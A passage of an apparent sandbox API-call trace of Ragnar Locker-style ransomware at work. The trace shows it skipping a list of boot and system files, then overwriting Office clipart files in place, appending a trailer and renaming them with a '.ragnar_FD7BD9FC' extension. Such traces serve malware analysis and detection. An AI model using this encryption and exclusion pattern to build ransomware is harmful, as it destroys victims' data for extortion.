(lpString1="NA00396_.WMF", lpString2="boot.ini") returned 1 [0088.454] lstrcmpiW (lpString1="NA00396_.WMF", lpString2="bootfont.bin") returned 1 [0088.454] lstrcmpiW (lpString1="NA00396_.WMF", lpString2="bootsect.bak") returned 1 [0088.455] lstrcmpiW (lpString1="NA00396_.WMF", lpString2="bootmgr") returned 1 [0088.455] lstrcmpiW (lpString1="NA00396_.WMF", lpString2="bootmgr.efi") returned 1 [0088.455] lstrcmpiW (lpString1="NA00396_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.455] lstrcmpiW (lpString1="NA00396_.WMF", lpString2="desktop.ini") returned 1 [0088.455] lstrcmpiW (lpString1="NA00396_.WMF", lpString2="iconcache.db") returned 1 [0088.455] lstrcmpiW (lpString1="NA00396_.WMF", lpString2="ntldr") returned -1 [0088.455] lstrcmpiW (lpString1="NA00396_.WMF", lpString2="ntuser.dat") returned -1 [0088.455] lstrcmpiW (lpString1="NA00396_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.455] lstrcmpiW (lpString1="NA00396_.WMF", lpString2="ntuser.ini") returned -1 [0088.455] lstrcmpiW (lpString1="NA00396_.WMF", lpString2="thumbs.db") returned -1 [0088.455] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.455] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.455] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.455] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.455] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.455] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.455] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf")) returned 0x20 [0088.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.455] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14534) returned 1 [0088.456] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x38bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.456] GetProcessHeap () returned 0x580000 [0088.456] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.456] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.457] VirtualAlloc (lpAddress=0x0, dwSize=0x38c6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.457] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.457] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.457] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x38c6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x38c6, lpOverlapped=0x0) returned 1 [0088.458] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.459] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x38c6, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.459] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x38c6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x38c6, lpOverlapped=0x0) returned 1 [0088.459] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x38c6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.459] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.459] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x38c6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.459] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.459] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.459] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.459] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.459] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.459] GetProcessHeap () returned 0x580000 [0088.459] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.459] CloseHandle (hObject=0xf4) returned 1 [0088.460] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF" [0088.460] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF.ragnar_FD7BD9FC" [0088.460] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.460] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x239b0400, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x239b0400, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x173e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00417_.WMF", cAlternateFileName="")) returned 1 [0088.460] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.460] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00417_.WMF" | out: lpString1="NA00417_.WMF") returned="NA00417_.WMF" [0088.460] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF") returned=".WMF" [0088.460] lstrcmpiW (lpString1="NA00417_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.460] lstrcmpiW (lpString1="NA00417_.WMF", lpString2="autorun.inf") returned 1 [0088.460] lstrcmpiW (lpString1="NA00417_.WMF", lpString2="boot.ini") returned 1 [0088.460] lstrcmpiW (lpString1="NA00417_.WMF", lpString2="bootfont.bin") returned 1 [0088.461] lstrcmpiW (lpString1="NA00417_.WMF", lpString2="bootsect.bak") returned 1 [0088.461] lstrcmpiW (lpString1="NA00417_.WMF", lpString2="bootmgr") returned 1 [0088.461] lstrcmpiW (lpString1="NA00417_.WMF", lpString2="bootmgr.efi") returned 1 [0088.461] lstrcmpiW (lpString1="NA00417_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.461] lstrcmpiW (lpString1="NA00417_.WMF", lpString2="desktop.ini") returned 1 [0088.461] lstrcmpiW (lpString1="NA00417_.WMF", lpString2="iconcache.db") returned 1 [0088.461] lstrcmpiW (lpString1="NA00417_.WMF", lpString2="ntldr") returned -1 [0088.461] lstrcmpiW (lpString1="NA00417_.WMF", lpString2="ntuser.dat") returned -1 [0088.461] lstrcmpiW (lpString1="NA00417_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.461] lstrcmpiW (lpString1="NA00417_.WMF", lpString2="ntuser.ini") returned -1 [0088.461] lstrcmpiW (lpString1="NA00417_.WMF", lpString2="thumbs.db") returned -1 [0088.461] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.461] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.461] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.461] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.461] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.461] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.461] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.461] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf")) returned 0x20 [0088.461] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.461] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5950) returned 1 [0088.462] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1735, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.462] GetProcessHeap () returned 0x580000 [0088.462] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.462] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.463] VirtualAlloc (lpAddress=0x0, dwSize=0x173e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.463] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.463] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.463] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x173e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x173e, lpOverlapped=0x0) returned 1 [0088.464] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.464] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x173e, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.464] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x173e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x173e, lpOverlapped=0x0) returned 1 [0088.464] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x173e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.464] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.465] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x173e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.465] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.465] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.465] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.465] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.465] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.465] GetProcessHeap () returned 0x580000 [0088.465] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.465] CloseHandle (hObject=0xf4) returned 1 [0088.465] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF" [0088.465] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF.ragnar_FD7BD9FC" [0088.465] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.466] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x313b9400, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x313b9400, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x4696, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00433_.WMF", cAlternateFileName="")) returned 1 [0088.466] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.466] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00433_.WMF" | out: lpString1="NA00433_.WMF") returned="NA00433_.WMF" [0088.466] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF") returned=".WMF" [0088.466] lstrcmpiW (lpString1="NA00433_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.466] lstrcmpiW (lpString1="NA00433_.WMF", lpString2="autorun.inf") returned 1 [0088.466] lstrcmpiW (lpString1="NA00433_.WMF", lpString2="boot.ini") returned 1 [0088.466] lstrcmpiW (lpString1="NA00433_.WMF", lpString2="bootfont.bin") returned 1 [0088.466] lstrcmpiW (lpString1="NA00433_.WMF", lpString2="bootsect.bak") returned 1 [0088.466] lstrcmpiW (lpString1="NA00433_.WMF", lpString2="bootmgr") returned 1 [0088.466] lstrcmpiW (lpString1="NA00433_.WMF", lpString2="bootmgr.efi") returned 1 [0088.466] lstrcmpiW (lpString1="NA00433_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.466] lstrcmpiW (lpString1="NA00433_.WMF", lpString2="desktop.ini") returned 1 [0088.466] lstrcmpiW (lpString1="NA00433_.WMF", lpString2="iconcache.db") returned 1 [0088.466] lstrcmpiW (lpString1="NA00433_.WMF", lpString2="ntldr") returned -1 [0088.466] lstrcmpiW (lpString1="NA00433_.WMF", lpString2="ntuser.dat") returned -1 [0088.466] lstrcmpiW (lpString1="NA00433_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.466] lstrcmpiW (lpString1="NA00433_.WMF", lpString2="ntuser.ini") returned -1 [0088.467] lstrcmpiW (lpString1="NA00433_.WMF", lpString2="thumbs.db") returned -1 [0088.467] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.467] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.467] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.467] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.467] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.467] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.467] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf")) returned 0x20 [0088.467] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.467] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=18070) returned 1 [0088.467] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x468d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.467] GetProcessHeap () returned 0x580000 [0088.467] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.467] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.469] VirtualAlloc (lpAddress=0x0, dwSize=0x4696, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.469] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.469] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.469] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4696, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4696, lpOverlapped=0x0) returned 1 [0088.470] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.470] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4696, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.470] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4696, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4696, lpOverlapped=0x0) returned 1 [0088.470] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4696, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.471] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.471] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4696, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.471] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.471] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.471] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.471] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.471] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.471] GetProcessHeap () returned 0x580000 [0088.471] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.471] CloseHandle (hObject=0xf4) returned 1 [0088.471] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF" [0088.471] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF.ragnar_FD7BD9FC" [0088.471] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.472] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdea9aa00, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdea9aa00, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0x2f38, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00438_.WMF", cAlternateFileName="")) returned 1 [0088.472] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.472] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00438_.WMF" | out: lpString1="NA00438_.WMF") returned="NA00438_.WMF" [0088.472] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF") returned=".WMF" [0088.472] lstrcmpiW (lpString1="NA00438_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.472] lstrcmpiW (lpString1="NA00438_.WMF", lpString2="autorun.inf") returned 1 [0088.472] lstrcmpiW (lpString1="NA00438_.WMF", lpString2="boot.ini") returned 1 [0088.472] lstrcmpiW (lpString1="NA00438_.WMF", lpString2="bootfont.bin") returned 1 [0088.472] lstrcmpiW (lpString1="NA00438_.WMF", lpString2="bootsect.bak") returned 1 [0088.472] lstrcmpiW (lpString1="NA00438_.WMF", lpString2="bootmgr") returned 1 [0088.472] lstrcmpiW (lpString1="NA00438_.WMF", lpString2="bootmgr.efi") returned 1 [0088.472] lstrcmpiW (lpString1="NA00438_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.472] lstrcmpiW (lpString1="NA00438_.WMF", lpString2="desktop.ini") returned 1 [0088.472] lstrcmpiW (lpString1="NA00438_.WMF", lpString2="iconcache.db") returned 1 [0088.472] lstrcmpiW (lpString1="NA00438_.WMF", lpString2="ntldr") returned -1 [0088.472] lstrcmpiW (lpString1="NA00438_.WMF", lpString2="ntuser.dat") returned -1 [0088.472] lstrcmpiW (lpString1="NA00438_.WMF", 